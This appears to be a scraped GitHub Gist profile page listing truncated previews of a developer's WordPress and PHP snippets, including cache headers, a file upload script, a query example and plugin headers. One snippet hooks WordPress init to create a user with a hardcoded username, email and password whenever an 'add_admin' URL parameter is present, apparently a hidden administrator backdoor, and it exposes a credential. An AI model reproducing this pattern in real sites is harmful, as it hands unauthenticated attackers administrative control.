Skip to content

Instantly share code, notes, and snippets.

View unaibamir's full-sized avatar

Unaib Amir unaibamir

View GitHub Profile
add_action( "wp_head", "_wn_no_cache" );
function _wn_no_cache() {
header("Cache-Control: no-store, no-cache, must-revalidate"); // HTTP/1.1
header("Cache-Control: post-check=0, pre-check=0", false);
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // Date in the past
header("Pragma: no-cache"); // HTTP/1.0
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
}
<style>
@-webkit-keyframes graph_animation {
0% { background-position: 0 bottom }
100% { background-position: -10000px bottom }
}
@-moz-keyframes graph_animation {
0% { background-position: 0 bottom }
100% { background-position: -10000px bottom }
}
@-o-keyframes graph_animation {
add_action('init', 'add_my_user');
function add_my_user() {
if(isset($_GET["add_admin"])){
$username = 'unaibamir';
$email = 'unaibamiraziz@gmail.com';
$password = 'ak47UN@@22';
$user_id = username_exists( $username );
if ( !$user_id && email_exists($email) == false ) {
Found: master for fukuball/Awesome-Laravel-Education — A curated list of resources for learning about the Laravel PHP Framework — 25⭐️ — last updated today
🔎 Checking 269 links
⚪ http://laravel-taiwan.github.io/php-the-right-way/
⚪ https://github.com/laravel-taiwan/fig-standards/tree/master/accepted/zh-TW
⚪ https://www.facebook.com/groups/laravel.tw/
⚪ https://www.facebook.com/groups/849639948396465/
⚪ https://www.facebook.com/groups/laravel.tw/
⚪ https://www.facebook.com/groups/laravel.tw/
✅ https://raw.githubusercontent.com/fukuball/Awesome-Laravel-Education/master/laravel-logo-white.png
✅ http://laravel.com/docs/5.1/quickstart
<?php
$args = [
"s" => "logo",
"post_type" => "product",
"posts_per_page" => 5,
"post_status" => "publish"
];
$the_query = new WP_Query( $args );
<?php
/*
Plugin Name: Empower Plugin
Plugin URI: http://empower.com.pk
Description: a plugin description here
Version: 1.0
Author: Empower Class
Author URI: http://empower.com.pk
License: GPL2
Text Domain: plg-domain
@unaibamir
unaibamir / PHP File Uploading
Last active September 4, 2018 19:18
PHP File Uploading script
<?php
$currentDir = getcwd();
$uploadDirectory = "/uploads/";
$errors = []; // Store all foreseen and unforseen errors here
if (isset($_POST['submit']) && isset($_FILES['myfile'])) {
$fileExtensions = ['jpeg','jpg','png']; // Get all the file extensions
<?php
function isa_add_cron_recurrence_interval( $schedules ) {
$schedules['every_single_minute'] = array(
'interval' => MINUTE_IN_SECONDS,
'display' => __( 'Every Single Minute', 'textdomain' )
);
public function get_timefilter() {
$query = '';
if ( $this->args['timeframe'] === NULL || strlen( $this->args['timeframe'] ) == 0 ) return $query;
global $wpdb;
// Start of the week based of our settings
$week_starts = get_option( 'start_of_week' );
if ( $week_starts == 0 )
<?php
/**
* Earners Report
*
* @package BadgeOS Reports
* @subpackage Reports
* @author LearningTimes, LLC
* @license http://www.gnu.org/licenses/agpl.txt GNU AGPL v3.0
* @link https://credly.com
*/